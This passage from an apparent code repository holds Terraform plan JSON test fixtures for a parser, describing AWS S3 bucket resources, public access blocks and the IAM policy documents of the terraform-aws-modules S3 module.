true, "lifecycle_rule": true, "logging": true, "object_lock_configuration": true, "object_lock_enabled": true, "policy": true, "region": true, "replication_configuration": true, "request_payer": true, "server_side_encryption_configuration": true, "tags_all": true, "versioning": true, "website": true, "website_domain": true, "website_endpoint": true }, "before_sensitive": false, "after_sensitive": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } } } ], "configuration": { "provider_config": { "aws": { "name": "aws" } }, "root_module": { "resources": [ { "address": "aws_s3_bucket.b", "mode": "managed", "type": "aws_s3_bucket", "name": "b", "provider_config_key": "aws", "expressions": { "bucket": { "constant_value": "mikeabcd123-abc" } }, "schema_version": 0 } ] } } } ================================================ FILE: tests/terraform/parser/resources/plan_encodings/tfplan_win_utf8.json ================================================ {"format_version":"1.1","terraform_version":"1.2.2","planned_values":{"root_module":{"resources":[{"address":"aws_s3_bucket.data","mode":"managed","type":"aws_s3_bucket","name":"data","provider_name":"registry.terraform.io/hashicorp/aws","schema_version":0,"values":{"bucket":"mike-abcd123data","bucket_prefix":null,"force_destroy":false,"tags":null},"sensitive_values":{"cors_rule":[],"grant":[],"lifecycle_rule":[],"logging":[],"object_lock_configuration":[],"replication_configuration":[],"server_side_encryption_configuration":[],"tags_all":{},"versioning":[],"website":[]}}]}},"resource_changes":[{"address":"aws_s3_bucket.data","mode":"managed","type":"aws_s3_bucket","name":"data","provider_name":"registry.terraform.io/hashicorp/aws","change":{"actions":["create"],"before":null,"after":{"bucket":"mike-abcd123data","bucket_prefix":null,"force_destroy":false,"tags":null},"after_unknown":{"acceleration_status":true,"acl":true,"arn":true,"bucket_domain_name":true,"bucket_regional_domain_name":true,"cors_rule":true,"grant":true,"hosted_zone_id":true,"id":true,"lifecycle_rule":true,"logging":true,"object_lock_configuration":true,"object_lock_enabled":true,"policy":true,"region":true,"replication_configuration":true,"request_payer":true,"server_side_encryption_configuration":true,"tags_all":true,"versioning":true,"website":true,"website_domain":true,"website_endpoint":true},"before_sensitive":false,"after_sensitive":{"cors_rule":[],"grant":[],"lifecycle_rule":[],"logging":[],"object_lock_configuration":[],"replication_configuration":[],"server_side_encryption_configuration":[],"tags_all":{},"versioning":[],"website":[]}}}],"configuration":{"provider_config":{"aws":{"name":"aws","full_name":"registry.terraform.io/hashicorp/aws","expressions":{"access_key":{"constant_value":"1234"},"region":{"constant_value":"us-west-2"}}}},"root_module":{"resources":[{"address":"aws_s3_bucket.data","mode":"managed","type":"aws_s3_bucket","name":"data","provider_config_key":"aws","expressions":{"bucket":{"constant_value":"mike-abcd123data"}},"schema_version":0}]}}} ================================================ FILE: tests/terraform/parser/resources/plan_module_with_connected_resources/s3module.tf ================================================ module "s3-bucket-1" { source = "terraform-aws-modules/s3-bucket/aws" version = "4.0.1" } ================================================ FILE: tests/terraform/parser/resources/plan_module_with_connected_resources/tfplan.json ================================================ { "format_version": "0.2", "terraform_version": "1.0.7", "planned_values": { "root_module": { "child_modules": [ { "resources": [ { "address": "module.s3-bucket.aws_s3_bucket.this[0]", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "force_destroy": false, "object_lock_enabled": false, "tags": null, "timeouts": null }, "sensitive_values": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } }, { "address": "module.s3-bucket.aws_s3_bucket_public_access_block.this[0]", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "sensitive_values": {} } ], "address": "module.s3-bucket" } ] } }, "resource_changes": [ { "address": "module.s3-bucket.aws_s3_bucket.this[0]", "module_address": "module.s3-bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "force_destroy": false, "object_lock_enabled": false, "tags": null, "timeouts": null }, "after_unknown": { "acceleration_status": true, "acl": true, "arn": true, "bucket": true, "bucket_domain_name": true, "bucket_prefix": true, "bucket_regional_domain_name": true, "cors_rule": true, "grant": true, "hosted_zone_id": true, "id": true, "lifecycle_rule": true, "logging": true, "object_lock_configuration": true, "policy": true, "region": true, "replication_configuration": true, "request_payer": true, "server_side_encryption_configuration": true, "tags_all": true, "versioning": true, "website": true, "website_domain": true, "website_endpoint": true }, "before_sensitive": false, "after_sensitive": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } } }, { "address": "module.s3-bucket.aws_s3_bucket_public_access_block.this[0]", "module_address": "module.s3-bucket", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "after_unknown": { "bucket": true, "id": true }, "before_sensitive": false, "after_sensitive": {} } } ], "prior_state": { "format_version": "0.2", "terraform_version": "1.0.7", "values": { "root_module": { "child_modules": [ { "resources": [ { "address": "module.s3-bucket.data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "account_id": "101860328116", "arn": "arn:aws:iam::101860328116:user/atlantis", "id": "101860328116", "user_id": "AIDARPN2ZIK2PHMJSNYXG" }, "sensitive_values": {} }, { "address": "module.s3-bucket.data.aws_partition.current", "mode": "data", "type": "aws_partition", "name": "current", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "dns_suffix": "amazonaws.com", "id": "aws", "partition": "aws", "reverse_dns_prefix": "com.amazonaws" }, "sensitive_values": {} }, { "address": "module.s3-bucket.data.aws_region.current", "mode": "data", "type": "aws_region", "name": "current", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "description": "Europe (Frankfurt)", "endpoint": "ec2.eu-central-1.amazonaws.com", "id": "eu-central-1", "name": "eu-central-1" }, "sensitive_values": {} } ], "address": "module.s3-bucket" } ] } } }, "configuration": { "provider_config": { "aws": { "name": "aws", "expressions": { "profile": { "constant_value": "razorpay-stage" }, "region": { "constant_value": "eu-central-1" } } }, "module.s3-bucket:aws": { "name": "aws", "version_constraint": ">= 5.27.0", "module_address": "module.s3-bucket" } }, "root_module": { "module_calls": { "s3-bucket": { "source": "terraform-aws-modules/s3-bucket/aws", "module": { "outputs": { "s3_bucket_arn": { "expression": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The ARN of the bucket. Will be of format arn:aws:s3:::bucketname." }, "s3_bucket_bucket_domain_name": { "expression": { "references": [ "aws_s3_bucket.this[0].bucket_domain_name", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The bucket domain name. Will be of format bucketname.s3.amazonaws.com." }, "s3_bucket_bucket_regional_domain_name": { "expression": { "references": [ "aws_s3_bucket.this[0].bucket_regional_domain_name", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The bucket region-specific domain name. The bucket domain name including the region name, please refer here for format. Note: The AWS CloudFront allows specifying S3 region-specific endpoint when creating S3 origin, it will prevent redirect issues from CloudFront to S3 Origin URL." }, "s3_bucket_hosted_zone_id": { "expression": { "references": [ "aws_s3_bucket.this[0].hosted_zone_id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The Route 53 Hosted Zone ID for this bucket's region." }, "s3_bucket_id": { "expression": { "references": [ "aws_s3_bucket_policy.this[0].id", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The name of the bucket." }, "s3_bucket_lifecycle_configuration_rules": { "expression": { "references": [ "aws_s3_bucket_lifecycle_configuration.this[0].rule", "aws_s3_bucket_lifecycle_configuration.this[0]", "aws_s3_bucket_lifecycle_configuration.this" ] }, "description": "The lifecycle rules of the bucket, if the bucket is configured with lifecycle rules. If not, this will be an empty string." }, "s3_bucket_policy": { "expression": { "references": [ "aws_s3_bucket_policy.this[0].policy", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this" ] }, "description": "The policy of the bucket, if the bucket is configured with a policy. If not, this will be an empty string." }, "s3_bucket_region": { "expression": { "references": [ "aws_s3_bucket.this[0].region", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The AWS region this bucket resides in." }, "s3_bucket_website_domain": { "expression": { "references": [ "aws_s3_bucket_website_configuration.this[0].website_domain", "aws_s3_bucket_website_configuration.this[0]", "aws_s3_bucket_website_configuration.this" ] }, "description": "The domain of the website endpoint, if the bucket is configured with a website. If not, this will be an empty string. This is used to create Route 53 alias records." }, "s3_bucket_website_endpoint": { "expression": { "references": [ "aws_s3_bucket_website_configuration.this[0].website_endpoint", "aws_s3_bucket_website_configuration.this[0]", "aws_s3_bucket_website_configuration.this" ] }, "description": "The website endpoint, if the bucket is configured with a website. If not, this will be an empty string." } }, "resources": [ { "address": "aws_s3_bucket.this", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "var.bucket" ] }, "bucket_prefix": { "references": [ "var.bucket_prefix" ] }, "force_destroy": { "references": [ "var.force_destroy" ] }, "object_lock_enabled": { "references": [ "var.object_lock_enabled" ] }, "tags": { "references": [ "var.tags" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket" ] } }, { "address": "aws_s3_bucket_accelerate_configuration.this", "mode": "managed", "type": "aws_s3_bucket_accelerate_configuration", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "status": { "references": [ "var.acceleration_status" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.acceleration_status" ] } }, { "address": "aws_s3_bucket_acl.this", "mode": "managed", "type": "aws_s3_bucket_acl", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "acl": { "references": [ "var.acl", "var.acl" ] }, "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.create_bucket_acl" ] }, "depends_on": [ "aws_s3_bucket_ownership_controls.this" ] }, { "address": "aws_s3_bucket_analytics_configuration.this", "mode": "managed", "type": "aws_s3_bucket_analytics_configuration", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "name": { "references": [ "each.key" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "var.analytics_configuration", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_cors_configuration.this", "mode": "managed", "type": "aws_s3_bucket_cors_configuration", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.cors_rules" ] } }, { "address": "aws_s3_bucket_intelligent_tiering_configuration.this", "mode": "managed", "type": "aws_s3_bucket_intelligent_tiering_configuration", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "name": { "references": [ "each.key" ] }, "status": { "references": [ "each.value.status", "each.value", "each.value.status", "each.value" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "local.intelligent_tiering", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_inventory.this", "mode": "managed", "type": "aws_s3_bucket_inventory", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "each.value.bucket", "each.value", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "destination": [ { "bucket": [ { "account_id": { "references": [ "each.value.destination.account_id", "each.value.destination", "each.value" ] }, "bucket_arn": { "references": [ "each.value.destination.bucket_arn", "each.value.destination", "each.value", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "format": { "references": [ "each.value.destination.format", "each.value.destination", "each.value" ] }, "prefix": { "references": [ "each.value.destination.prefix", "each.value.destination", "each.value" ] } } ] } ], "enabled": { "references": [ "each.value.enabled", "each.value" ] }, "included_object_versions": { "references": [ "each.value.included_object_versions", "each.value" ] }, "name": { "references": [ "each.key" ] }, "optional_fields": { "references": [ "each.value.optional_fields", "each.value" ] }, "schedule": [ { "frequency": { "references": [ "each.value.frequency", "each.value" ] } } ] }, "schema_version": 0, "for_each_expression": { "references": [ "var.inventory_configuration", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_lifecycle_configuration.this", "mode": "managed", "type": "aws_s3_bucket_lifecycle_configuration", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.lifecycle_rules" ] }, "depends_on": [ "aws_s3_bucket_versioning.this" ] }, { "address": "aws_s3_bucket_logging.this", "mode": "managed", "type": "aws_s3_bucket_logging", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "target_bucket": { "references": [ "var.logging[\"target_bucket\"]", "var.logging" ] }, "target_prefix": { "references": [ "var.logging[\"target_prefix\"]", "var.logging" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.logging" ] } }, { "address": "aws_s3_bucket_metric.this", "mode": "managed", "type": "aws_s3_bucket_metric", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "name": { "references": [ "each.value.name", "each.value" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "local.metric_configuration", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_object_lock_configuration.this", "mode": "managed", "type": "aws_s3_bucket_object_lock_configuration", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "rule": [ { "default_retention": [ { "days": { "references": [ "var.object_lock_configuration.rule.default_retention.days", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] }, "mode": { "references": [ "var.object_lock_configuration.rule.default_retention.mode", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] }, "years": { "references": [ "var.object_lock_configuration.rule.default_retention.years", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] } } ] } ], "token": { "references": [ "var.object_lock_configuration.token", "var.object_lock_configuration" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.object_lock_enabled", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] } }, { "address": "aws_s3_bucket_ownership_controls.this", "mode": "managed", "type": "aws_s3_bucket_ownership_controls", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "local.attach_policy", "aws_s3_bucket_policy.this[0].id", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "rule": [ { "object_ownership": { "references": [ "var.object_ownership" ] } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.control_object_ownership" ] }, "depends_on": [ "aws_s3_bucket_policy.this", "aws_s3_bucket_public_access_block.this", "aws_s3_bucket.this" ] }, { "address": "aws_s3_bucket_policy.this", "mode": "managed", "type": "aws_s3_bucket_policy", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "policy": { "references": [ "data.aws_iam_policy_document.combined[0].json", "data.aws_iam_policy_document.combined[0]", "data.aws_iam_policy_document.combined" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.attach_policy" ] }, "depends_on": [ "aws_s3_bucket_public_access_block.this" ] }, { "address": "aws_s3_bucket_public_access_block.this", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "block_public_acls": { "references": [ "var.block_public_acls" ] }, "block_public_policy": { "references": [ "var.block_public_policy" ] }, "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "ignore_public_acls": { "references": [ "var.ignore_public_acls" ] }, "restrict_public_buckets": { "references": [ "var.restrict_public_buckets" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_public_policy" ] } }, { "address": "aws_s3_bucket_replication_configuration.this", "mode": "managed", "type": "aws_s3_bucket_replication_configuration", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "role": { "references": [ "var.replication_configuration[\"role\"]", "var.replication_configuration" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.replication_configuration" ] }, "depends_on": [ "aws_s3_bucket_versioning.this" ] }, { "address": "aws_s3_bucket_request_payment_configuration.this", "mode": "managed", "type": "aws_s3_bucket_request_payment_configuration", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "payer": { "references": [ "var.request_payer" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.request_payer" ] } }, { "address": "aws_s3_bucket_server_side_encryption_configuration.this", "mode": "managed", "type": "aws_s3_bucket_server_side_encryption_configuration", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.server_side_encryption_configuration" ] } }, { "address": "aws_s3_bucket_versioning.this", "mode": "managed", "type": "aws_s3_bucket_versioning", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "mfa": { "references": [ "var.versioning[\"mfa\"]", "var.versioning" ] }, "versioning_configuration": [ { "mfa_delete": { "references": [ "var.versioning[\"mfa_delete\"]", "var.versioning", "var.versioning[\"mfa_delete\"]", "var.versioning" ] }, "status": { "references": [ "var.versioning[\"enabled\"]", "var.versioning", "var.versioning[\"status\"]", "var.versioning", "var.versioning[\"status\"]", "var.versioning" ] } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.versioning" ] } }, { "address": "aws_s3_bucket_website_configuration.this", "mode": "managed", "type": "aws_s3_bucket_website_configuration", "name": "this", "provider_config_key": "s3-bucket:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.website" ] } }, { "address": "data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_config_key": "s3-bucket:aws", "schema_version": 0 }, { "address": "data.aws_canonical_user_id.this", "mode": "data", "type": "aws_canonical_user_id", "name": "this", "provider_config_key": "s3-bucket:aws", "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.create_bucket_acl", "var.owner[\"id\"]", "var.owner" ] } }, { "address": "data.aws_iam_policy_document.access_log_delivery", "mode": "data", "type": "aws_iam_policy_document", "name": "access_log_delivery", "provider_config_key": "s3-bucket:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "logging.s3.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSAccessLogDeliveryWrite" } }, { "actions": { "constant_value": [ "s3:GetBucketAcl" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "logging.s3.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSAccessLogDeliveryAclCheck" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_access_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.combined", "mode": "data", "type": "aws_iam_policy_document", "name": "combined", "provider_config_key": "s3-bucket:aws", "expressions": { "source_policy_documents": { "references": [ "var.attach_elb_log_delivery_policy", "data.aws_iam_policy_document.elb_log_delivery[0].json", "data.aws_iam_policy_document.elb_log_delivery[0]", "data.aws_iam_policy_document.elb_log_delivery", "var.attach_lb_log_delivery_policy", "data.aws_iam_policy_document.lb_log_delivery[0].json", "data.aws_iam_policy_document.lb_log_delivery[0]", "data.aws_iam_policy_document.lb_log_delivery", "var.attach_access_log_delivery_policy", "data.aws_iam_policy_document.access_log_delivery[0].json", "data.aws_iam_policy_document.access_log_delivery[0]", "data.aws_iam_policy_document.access_log_delivery", "var.attach_require_latest_tls_policy", "data.aws_iam_policy_document.require_latest_tls[0].json", "data.aws_iam_policy_document.require_latest_tls[0]", "data.aws_iam_policy_document.require_latest_tls", "var.attach_deny_insecure_transport_policy", "data.aws_iam_policy_document.deny_insecure_transport[0].json", "data.aws_iam_policy_document.deny_insecure_transport[0]", "data.aws_iam_policy_document.deny_insecure_transport", "var.attach_deny_unencrypted_object_uploads", "data.aws_iam_policy_document.deny_unencrypted_object_uploads[0].json", "data.aws_iam_policy_document.deny_unencrypted_object_uploads[0]", "data.aws_iam_policy_document.deny_unencrypted_object_uploads", "var.attach_deny_incorrect_kms_key_sse", "data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0].json", "data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0]", "data.aws_iam_policy_document.deny_incorrect_kms_key_sse", "var.attach_deny_incorrect_encryption_headers", "data.aws_iam_policy_document.deny_incorrect_encryption_headers[0].json", "data.aws_iam_policy_document.deny_incorrect_encryption_headers[0]", "data.aws_iam_policy_document.deny_incorrect_encryption_headers", "var.attach_inventory_destination_policy", "var.attach_analytics_destination_policy", "data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0].json", "data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0]", "data.aws_iam_policy_document.inventory_and_analytics_destination_policy", "var.attach_policy", "var.policy" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.attach_policy" ] } }, { "address": "data.aws_iam_policy_document.deny_incorrect_encryption_headers", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_incorrect_encryption_headers", "provider_config_key": "s3-bucket:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "StringNotEquals" }, "values": { "references": [ "var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm", "var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default", "var.server_side_encryption_configuration.rule", "var.server_side_encryption_configuration" ] }, "variable": { "constant_value": "s3:x-amz-server-side-encryption" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyIncorrectEncryptionHeaders" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_incorrect_encryption_headers" ] } }, { "address": "data.aws_iam_policy_document.deny_incorrect_kms_key_sse", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_incorrect_kms_key_sse", "provider_config_key": "s3-bucket:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "StringNotEquals" }, "values": { "references": [ "var.allowed_kms_key_arn" ] }, "variable": { "constant_value": "s3:x-amz-server-side-encryption-aws-kms-key-id" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyIncorrectKmsKeySse" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_incorrect_kms_key_sse" ] } }, { "address": "data.aws_iam_policy_document.deny_insecure_transport", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_insecure_transport", "provider_config_key": "s3-bucket:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:*" ] }, "condition": [ { "test": { "constant_value": "Bool" }, "values": { "constant_value": [ "false" ] }, "variable": { "constant_value": "aws:SecureTransport" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyInsecureTransport" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_insecure_transport_policy" ] } }, { "address": "data.aws_iam_policy_document.deny_unencrypted_object_uploads", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_unencrypted_object_uploads", "provider_config_key": "s3-bucket:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "Null" }, "values": { "constant_value": [ true ] }, "variable": { "constant_value": "s3:x-amz-server-side-encryption" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyUnencryptedObjectUploads" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_unencrypted_object_uploads" ] } }, { "address": "data.aws_iam_policy_document.elb_log_delivery", "mode": "data", "type": "aws_iam_policy_document", "name": "elb_log_delivery", "provider_config_key": "s3-bucket:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "logdelivery.elasticloadbalancing.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_elb_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.inventory_and_analytics_destination_policy", "mode": "data", "type": "aws_iam_policy_document", "name": "inventory_and_analytics_destination_policy", "provider_config_key": "s3-bucket:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "ArnLike" }, "values": { "references": [ "var.inventory_self_source_destination", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "var.inventory_source_bucket_arn", "var.analytics_self_source_destination", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "var.analytics_source_bucket_arn" ] }, "variable": { "constant_value": "aws:SourceArn" } }, { "test": { "constant_value": "StringEquals" }, "values": { "references": [ "var.inventory_self_source_destination", "data.aws_caller_identity.current.id", "data.aws_caller_identity.current", "var.inventory_source_account_id", "var.analytics_self_source_destination", "data.aws_caller_identity.current.id", 